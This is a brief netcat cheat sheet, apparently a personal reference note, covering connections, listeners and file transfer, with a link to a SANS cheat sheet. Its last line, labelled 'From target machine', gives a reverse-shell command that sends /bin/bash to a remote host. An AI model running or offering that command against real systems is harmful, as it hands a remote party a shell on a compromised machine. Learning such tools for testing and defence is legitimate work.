Detailed cheat sheet available here: https://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf
nc
can be used as shorthand for netcat
on some machines.
I.e. connect to an arbitrary port on an IP address:
$ nc [IP] [PORT]
I.e. receive connections on an arbitrary port:
$ nc -lp [PORT]
Setup a listener on host that pushes to an outfile:
$ nc -lp [PORT] > /path/to/outfile
From the client (remote machine), push a file back to the listener:
$ nc -w3 [IP] [PORT] < /path/to/infile
From target machine:
$ nc [HOST_IP] [PORT] -e /bin/bash
#cheat-sheet